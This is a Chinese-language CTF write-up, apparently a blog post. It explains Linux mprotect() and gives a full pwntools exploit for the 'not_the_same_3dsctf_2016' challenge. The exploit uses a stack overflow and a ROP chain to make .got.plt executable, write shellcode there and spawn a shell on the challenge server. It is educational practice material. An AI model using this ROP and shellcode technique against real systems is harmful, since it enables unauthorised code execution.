本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性
函数原型如下:
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
需要指出的是,锁指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
这个函数利用方式为将目标地址:.got.plt或.bss段 修改为可读可写可执行
原题链接:https://buuoj.cn/challenges#not_the_same_3dsctf_2016
具体分析看我的这篇博客:https://cloud.tencent.com/developer/article/2277509
这里直接写怎么利用了
mprotect函数的第一个参数需要设置为要被修改内存的地址,这里设置为.got.plt表的起始地址,这里不去修改bss字段是因为bss段是用来存放程序中未初始化的全局变量和静态变量的一块内存区域,程序一开始执行的时候会清0,你虽然修改了里面的值,但是程序一执行就会被清0,没法利用。
第二个参数需要设置为被修改内存的大小,这里我还没完全弄明白具体要设置多大,这里我设置为0x100
第三个参数需要设置为被修改内存的权限,这里设置为7 = 4 + 2 + 1 (rwx) 也就是读写执行,这里如果不是很理解,可以百度一下Linux权限。
返回地址覆盖需要三个连续的pop地址,因为mprotect函数需要传入三个地址,使用ROPgadget来获取地址
ROPgadget --binary not_the_same_3dsctf_2016 --only 'pop|ret' | grep pop
在这查出来的一大长串里面选一个就行了
0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
from os import path
from pwn import *
from LibcSearcher import *
content = 0
context.log_level = 'debug'
elf = ELF('./not_the_same_3dsctf_2016')
# 0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
# 0x08050b45 : pop ebx ; pop esi ; pop edi ; ret
pop3_addr = 0x08050b45 # 三个连续的pop地址,查出来选一个就行了
got_plt_addr = 0x080EB000 # .got.plt表的起始地址
got_plt_size = 0x100 # 内存长度
got_plt_type = 0x7 # 内存权限,读写执行
def main():
if content == 1:
p = process('not_the_same_3dsctf_2016')
else:
p = remote('node4.buuoj.cn',25349)
payload = b'a' * 0x2D + p32(elf.symbols['mprotect']) # 进行栈溢出,将mprotect函数的地址填入返回地址处
payload += p32(pop3_addr) # 三个连续的pop地址
payload += p32(got_plt_addr) + p32(got_plt_size) + p32(got_plt_type) # mprotect的三个参数
payload += p32(elf.symbols['read']) # 通过写入read函数的地址
payload += p32(pop3_addr)
payload += p32(0) + p32(got_plt_addr) + p32(0x100)
payload += p32(got_plt_addr)
p.sendline(payload)
payload = asm(shellcraft.sh())
print(payload)
p.sendline(payload)
p.interactive()
main()
总结来说就是在存在mprotect函数的情况下,如果出现打开文件之类的操作就可以控制.got.plt表进行内容的读取
payload构建流程:
垃圾数据 --> mprotect函数地址 --> 三个连续的pop地址 --> .got.plt表起始地址 --> 内存长度 --> 内存权限 --> read函数
--> 三个连续的pop地址 --> read函数的三个参数 --> .got.plt表的起始地址
C语言之 mprotect:https://www.cnblogs.com/Max-hhg/articles/13939064.html
浏览量: 447